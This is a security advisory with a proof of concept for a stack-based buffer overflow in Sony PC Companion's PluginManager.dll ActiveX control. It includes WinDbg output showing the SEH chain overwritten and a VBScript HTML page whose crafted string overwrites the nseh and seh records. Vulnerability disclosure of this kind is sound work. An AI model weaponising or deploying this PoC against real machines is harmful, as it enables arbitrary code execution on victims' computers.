86 lines
No EOL
3.1 KiB
Text
86 lines
No EOL
3.1 KiB
Text
Sony PC Companion 2.1 (Admin_RemoveDirectory()) Stack-based Unicode Buffer Overload SEH
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Vendor: Sony Mobile Communications AB
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Product web page: http://www.sonymobile.com
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Affected version: 2.10.115 (Production 27.1, Build 830)
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2.10.108 (Production 26.1, Build 818)
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Summary: PC Companion is a computer application that acts as a portal
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to Sony Xperia and operator features and applications, such as phone
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software updates, management of contacts and calendar, media management
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with Media Go, and a backup and restore feature for your phone content.
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Desc: The vulnerability is caused due to a boundary error in PluginManager.dll
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when handling the value assigned to the 'Path' item in the Admin_RemoveDirectory
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function and can be exploited to cause a stack-based buffer overflow via an
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overly long string which may lead to execution of arbitrary code on the affected
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machine.
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------------------------------------------------------------------------------
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STATUS_STACK_BUFFER_OVERRUN encountered
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(1e5c.1b34): Break instruction exception - code 80000003 (first chance)
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eax=00000000 ebx=6348e958 ecx=75b1de28 edx=0013e505 esi=00000000 edi=0013ed88
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eip=75b1dca5 esp=0013e74c ebp=0013e7c8 iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
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KERNEL32!FormatMessageA+0x13c85:
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75b1dca5 cc int 3
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0:000> !exchain
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0013e7b8: KERNEL32!RegSaveKeyExA+3e9 (75b49b72)
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0013f114: 00430043
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Invalid exception stack at 00420042
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0:000> d 0013f114
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0013f114 42 00 42 00 43 00 43 00-44 00 44 00 44 00 44 00 B.B.C.C.D.D.D.D.
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0013f124 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
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0013f134 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
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0013f144 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
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0013f154 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
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0013f164 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
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0013f174 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
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0013f184 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
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0:000>
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------------------------------------------------------------------------------
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2012-5120
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Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5120.php
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http://cwe.mitre.org/data/definitions/121.html
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09.11.2012
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---
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<html>
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<body>
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<object classid='clsid:BBB7AA7C-DCE4-4F85-AED3-72FE3BCA4141' id='overrun' />
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<script language='vbscript'>
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targetFile = "C:\Program Files\Sony\Sony PC Companion\PluginManager.dll"
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prototype = "Function Admin_RemoveDirectory ( ByVal Path As String ) As tagRemoveDirectoryError"
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memberName = "Admin_RemoveDirectory"
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progid = "PluginManagerLib.ElevatedTasks"
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argCount = 1
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Path=String(760, "A") + "BB" + "CC" + String(1000, "D")
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' ^ ^ ^ ^
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' | | | |
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'------------ junk ---- nseh -- seh ------- junk --------
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overrun.Admin_RemoveDirectory Path
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</script>
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</body>
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</html> |